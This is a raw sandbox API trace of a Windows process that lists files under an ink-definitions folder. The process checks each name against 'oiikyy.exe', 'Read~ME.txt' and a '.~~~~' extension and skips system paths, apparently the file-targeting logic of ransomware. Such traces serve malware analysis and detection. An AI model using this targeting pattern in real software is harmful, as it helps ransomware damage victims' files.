	[0068.357] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.357] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.357] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.357] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.357] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.357] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.357] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.358] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1
	[0068.358] lstrcmpiW (lpString1="oskmenubase.xml", lpString2="Windows") returned -1
	[0068.358] lstrcmpW (lpString1="oskmenubase.xml", lpString2="oiikyy.exe") returned 1
	[0068.358] StrStrW (lpFirst="oskmenubase.xml", lpSrch=".~~~~") returned 0x0
	[0068.358] lstrcmpW (lpString1="oskmenubase.xml", lpString2="Read~ME.txt") returned -1
	[0068.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0068.358] GetCurrentThreadId () returned 0x618
	[0068.358] RtlWakeConditionVariable () returned 0x365f48
	[0068.358] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0
	[0068.358] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0068.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0068.358] GetCurrentThreadId () returned 0x618
	[0068.358] RtlWakeConditionVariable () returned 0x365f48
	[0068.358] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1
	[0068.358] lstrcmpiW (lpString1="oskmenu.xml", lpString2="Windows") returned -1
	[0068.358] lstrcmpW (lpString1="oskmenu.xml", lpString2="oiikyy.exe") returned 1
	[0068.358] StrStrW (lpFirst="oskmenu.xml", lpSrch=".~~~~") returned 0x0
	[0068.358] lstrcmpW (lpString1="oskmenu.xml", lpString2="Read~ME.txt") returned -1
	[0068.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5c88
	[0068.359] GetCurrentThreadId () returned 0x618
	[0068.359] RtlWakeConditionVariable () returned 0x365f48
	[0068.359] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1
	[0068.359] lstrcmpiW (lpString1="osknumpad", lpString2="Windows") returned -1
	[0068.359] lstrcmpW (lpString1="osknumpad", lpString2=".") returned 1
	[0068.359] lstrcmpW (lpString1="osknumpad", lpString2="..") returned 1
	[0068.359] lstrcmpW (lpString1="osknumpad", lpString2="AppData") returned 1
	[0068.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad", lpSrch="AppData") returned 0x0
	[0068.359] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.359] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad", lpString2="C:\\Windows") returned -1
	[0068.359] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.359] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad", lpString2="C:\\System Volume Information") returned -1
	[0068.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0068.359] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.359] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.359] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.360] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.360] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.360] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.360] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.360] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.360] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.360] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.360] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.360] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.360] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1
	[0068.360] lstrcmpiW (lpString1="osknumpadbase.xml", lpString2="Windows") returned -1
	[0068.360] lstrcmpW (lpString1="osknumpadbase.xml", lpString2="oiikyy.exe") returned 1
	[0068.360] StrStrW (lpFirst="osknumpadbase.xml", lpSrch=".~~~~") returned 0x0
	[0068.360] lstrcmpW (lpString1="osknumpadbase.xml", lpString2="Read~ME.txt") returned -1
	[0068.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x3fab50
	[0068.360] GetCurrentThreadId () returned 0x618
	[0068.360] RtlWakeConditionVariable () returned 0x365f48
	[0068.360] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0
	[0068.360] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0068.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0068.360] GetCurrentThreadId () returned 0x618
	[0068.361] RtlWakeConditionVariable () returned 0x365f48
	[0068.361] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1
	[0068.361] lstrcmpiW (lpString1="osknumpad.xml", lpString2="Windows") returned -1
	[0068.361] lstrcmpW (lpString1="osknumpad.xml", lpString2="oiikyy.exe") returned 1
	[0068.361] StrStrW (lpFirst="osknumpad.xml", lpSrch=".~~~~") returned 0x0
	[0068.361] lstrcmpW (lpString1="osknumpad.xml", lpString2="Read~ME.txt") returned -1
	[0068.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5c88
	[0068.361] GetCurrentThreadId () returned 0x618
	[0068.361] RtlWakeConditionVariable () returned 0x365f48
	[0068.361] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1
	[0068.361] lstrcmpiW (lpString1="oskpred", lpString2="Windows") returned -1
	[0068.361] lstrcmpW (lpString1="oskpred", lpString2=".") returned 1
	[0068.361] lstrcmpW (lpString1="oskpred", lpString2="..") returned 1
	[0068.361] lstrcmpW (lpString1="oskpred", lpString2="AppData") returned 1
	[0068.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred", lpSrch="AppData") returned 0x0
	[0068.361] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.361] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred", lpString2="C:\\Windows") returned -1
	[0068.361] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.361] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred", lpString2="C:\\System Volume Information") returned -1
	[0068.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.361] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0068.362] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.362] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.362] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.362] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.362] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.362] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.362] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.362] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.362] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.362] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.362] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.362] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.362] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1
	[0068.363] lstrcmpiW (lpString1="oskpredbase.xml", lpString2="Windows") returned -1
	[0068.363] lstrcmpW (lpString1="oskpredbase.xml", lpString2="oiikyy.exe") returned 1
	[0068.363] StrStrW (lpFirst="oskpredbase.xml", lpSrch=".~~~~") returned 0x0
	[0068.363] lstrcmpW (lpString1="oskpredbase.xml", lpString2="Read~ME.txt") returned -1
	[0068.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0068.363] GetCurrentThreadId () returned 0x618
	[0068.363] RtlWakeConditionVariable () returned 0x365f48
	[0068.363] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0
	[0068.363] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0068.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0068.363] GetCurrentThreadId () returned 0x618
	[0068.363] RtlWakeConditionVariable () returned 0x365f48
	[0068.363] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1
	[0068.363] lstrcmpiW (lpString1="oskpred.xml", lpString2="Windows") returned -1
	[0068.363] lstrcmpW (lpString1="oskpred.xml", lpString2="oiikyy.exe") returned 1
	[0068.364] StrStrW (lpFirst="oskpred.xml", lpSrch=".~~~~") returned 0x0
	[0068.364] lstrcmpW (lpString1="oskpred.xml", lpString2="Read~ME.txt") returned -1
	[0068.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5c88
	[0068.364] GetCurrentThreadId () returned 0x618
	[0068.364] RtlWakeConditionVariable () returned 0x365f48
	[0068.364] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1
	[0068.364] lstrcmpiW (lpString1="symbols", lpString2="Windows") returned -1
	[0068.364] lstrcmpW (lpString1="symbols", lpString2=".") returned 1
	[0068.364] lstrcmpW (lpString1="symbols", lpString2="..") returned 1
	[0068.364] lstrcmpW (lpString1="symbols", lpString2="AppData") returned 1
	[0068.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols", lpSrch="AppData") returned 0x0
	[0068.364] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.364] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols", lpString2="C:\\Windows") returned -1
	[0068.364] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.364] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols", lpString2="C:\\System Volume Information") returned -1
	[0068.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0068.365] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.365] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.365] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.365] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.365] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.365] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.365] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.365] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.365] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.365] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.365] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.365] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.365] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1
	[0068.365] lstrcmpiW (lpString1="ea-sym.xml", lpString2="Windows") returned -1
	[0068.365] lstrcmpW (lpString1="ea-sym.xml", lpString2="oiikyy.exe") returned -1
	[0068.365] StrStrW (lpFirst="ea-sym.xml", lpSrch=".~~~~") returned 0x0
	[0068.366] lstrcmpW (lpString1="ea-sym.xml", lpString2="Read~ME.txt") returned -1
	[0068.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5c88
	[0068.366] GetCurrentThreadId () returned 0x618
	[0068.366] RtlWakeConditionVariable () returned 0x365f48
	[0068.366] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1
	[0068.366] lstrcmpiW (lpString1="ja-jp-sym.xml", lpString2="Windows") returned -1
	[0068.366] lstrcmpW (lpString1="ja-jp-sym.xml", lpString2="oiikyy.exe") returned -1
	[0068.366] StrStrW (lpFirst="ja-jp-sym.xml", lpSrch=".~~~~") returned 0x0
	[0068.366] lstrcmpW (lpString1="ja-jp-sym.xml", lpString2="Read~ME.txt") returned -1
	[0068.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0068.366] GetCurrentThreadId () returned 0x618
	[0068.366] RtlWakeConditionVariable () returned 0x365f48
	[0068.366] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1
	[0068.366] lstrcmpiW (lpString1="symbase.xml", lpString2="Windows") returned -1
	[0068.366] lstrcmpW (lpString1="symbase.xml", lpString2="oiikyy.exe") returned 1
	[0068.366] StrStrW (lpFirst="symbase.xml", lpSrch=".~~~~") returned 0x0
	[0068.366] lstrcmpW (lpString1="symbase.xml", lpString2="Read~ME.txt") returned 1
	[0068.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0068.366] GetCurrentThreadId () returned 0x618
	[0068.366] RtlWakeConditionVariable () returned 0x365f48
	[0068.366] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0
	[0068.367] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0068.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0068.367] GetCurrentThreadId () returned 0x618
	[0068.367] RtlWakeConditionVariable () returned 0x365f48
	[0068.367] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1
	[0068.367] lstrcmpiW (lpString1="symbols.xml", lpString2="Windows") returned -1
	[0068.367] lstrcmpW (lpString1="symbols.xml", lpString2="oiikyy.exe") returned 1
	[0068.367] StrStrW (lpFirst="symbols.xml", lpSrch=".~~~~") returned 0x0
	[0068.367] lstrcmpW (lpString1="symbols.xml", lpString2="Read~ME.txt") returned 1
	[0068.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5c88
	[0068.367] GetCurrentThreadId () returned 0x618
	[0068.367] RtlWakeConditionVariable () returned 0x365f48
	[0068.367] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1
	[0068.367] lstrcmpiW (lpString1="web", lpString2="Windows") returned -1
	[0068.367] lstrcmpW (lpString1="web", lpString2=".") returned 1
	[0068.367] lstrcmpW (lpString1="web", lpString2="..") returned 1
	[0068.367] lstrcmpW (lpString1="web", lpString2="AppData") returned 1
